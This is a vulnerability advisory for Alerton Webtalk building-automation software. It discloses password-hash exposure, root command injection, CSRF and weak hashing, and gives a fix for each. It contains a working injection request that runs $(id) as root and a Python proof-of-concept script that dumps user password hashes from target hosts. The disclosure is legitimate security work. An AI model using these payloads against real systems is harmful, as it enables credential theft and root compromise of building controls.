Security Issues in Alerton Webtalk (Auth Bypass, RCE)

Introduction

Vulnerabilities were identified in the Alerton Webtalk Software supplied by Alerton. This software is used for the management of building automation systems. These were discovered during a black box assessment and therefore the vulnerability list should not be considered exhaustive. Alerton has responded that Webtalk is EOL and past the end of its support period. Customers should move to newer products available from Alerton. Thanks to Alerton for prompt replies in communicating with us about these issues.

Versions 2.5 and 3.3 were both confirmed to be affected by these issues.

(This blog post is a duplicate of the advisory I sent to the full-disclosure mailing list.)

Webtalk-01 - Password Hashes Accessible to Unauthenticated Users

Severity: High

Password hashes for all of the users configured in Alerton Webtalk are accessible via a file in the document root of the ‘webtalk’ user. The location of this file is configuration dependent, however the configuration file is accessible as well (at a static location, /~webtalk/webtalk.ini). The password database is a sqlite3 database whose name is based on the bacnet rep and job entries from the ini file.

A python proof of concept to reproduce this issue is in an appendix.

Recommendation: Do not store sensitive data within areas being served by the webserver.

Webtalk-02 - Command Injection for Authenticated Webtalk Users

Severity: High

Any user granted the “configure webtalk” permission can execute commands as the root user on the underlying server. There appears to be some effort of filtering command strings (such as rejecting commands containing pipes and redirection operators) but this is inadequate. Using this vulnerability, an attacker can add an SSH key to the root user’s authorized_keys file.

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GET
/~webtalk/WtStatus.psp?c=update&updateopts=&updateuri=%22%24%28id%29%22&update=True
HTTP/1.1
Host: test-host
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101
Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: NID=...; _SID_=...; OGPC=...:
Connection: close
Upgrade-Insecure-Requests: 1
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HTTP/1.1 200 OK
Date: Mon, 23 Jan 2017 20:34:26 GMT
Server: Apache
cache-control: no-cache
Set-Cookie: _SID_=...; Path=/;
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 2801

...
uid=0(root) gid=500(webtalk) groups=500(webtalk)
...

Recommendation: User input should be avoided to shell commands. If this is not possible, shell commands should be properly escaped. Consider using one of the functions from the subprocess module without the shell=True parameter.

Webtalk-03 - Cross-Site Request Forgery

Severity: High

The entire Webtalk administrative interface lacks any controls against Cross-Site Request Forgery. This allows an attacker to execute administrative changes without access to valid credentials. Combined with the above vulnerability, this allows an attacker to gain root access without any credentials.

Recommendation: Implement CSRF tokens on all state-changing actions.

Webtalk-04 - Insecure Credential Hashing

Severity: Moderate

Password hashes in the userprofile.db database are hashed by concatenating the password with the username (e.g., PASSUSER) and performing a plain MD5 hash. No salts or iterative hashing is performed. This does not follow password hashing best practices and makes for highly practical offline attacks.

Recommendation: Use scrypt, bcrypt, or argon2 for storing password hashes.

Webtalk-05 - Login Flow Defeats Password Hashing

Severity: Moderate

Password hashing is performed on the client side, allowing for the replay of password hashes from Webtalk-01. While this only works on the mobile login interface (“PDA” interface, /~webtalk/pda/pda_login.psp), the resulting session is able to access all resources and is functionally equivalent to a login through the Java-based login flow.

Recommendation: Perform hashing on the server side and use TLS to protect secrets in transit.

Timeline

Discovery

These issues were discovered by David Tomaschik of the Google ISA Assessments team.

Appendix A: Script to Extract Hashes

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import requests
import sys
import ConfigParser
import StringIO
import sqlite3
import tempfile
import os


def get_webtalk_ini(base_url):
    """Get the webtalk.ini file and parse it."""
    url = '%s/~webtalk/webtalk.ini' % base_url
    r = requests.get(url)
    if r.status_code != 200:
        raise RuntimeError('Unable to get webtalk.ini: %s', url)
    buf = StringIO.StringIO(r.text)
    parser = ConfigParser.RawConfigParser()
    parser.readfp(buf)
    return parser


def get_db_path(base_url, config):
    rep = config.get('bacnet', 'rep')
    job = config.get('bacnet', 'job')
    url = '%s/~webtalk/bts/%s/%s/userprofile.db'
    return url % (base_url, rep, job)


def load_db(url):
    """Load and read the db."""
    r = requests.get(url)
    if r.status_code != 200:
        raise RuntimeError('Unable to get %s.' % url)
    tmpfd, tmpname = tempfile.mkstemp(suffix='.db')
    tmpf = os.fdopen(tmpfd, 'w')
    tmpf.write(r.content)
    tmpf.close()
    con = sqlite3.connect(tmpname)
    cur = con.cursor()
    cur.execute("SELECT UserID, UserPassword FROM tblPassword")
    results = cur.fetchall()
    con.close()
    os.unlink(tmpname)
    return results


def users_for_server(base_url):
    if '://' not in base_url:
        base_url = 'http://%s' % base_url
    ini = get_webtalk_ini(base_url)
    db_path = get_db_path(base_url, ini)
    return load_db(db_path)


if __name__ == '__main__':
    for host in sys.argv[1:]:
        try:
            users = users_for_server(host)
        except Exception as ex:
            sys.stderr.write('%s\n' % str(ex))
            continue
        for u in users:
            print '%s:%s' % (u[0], u[1])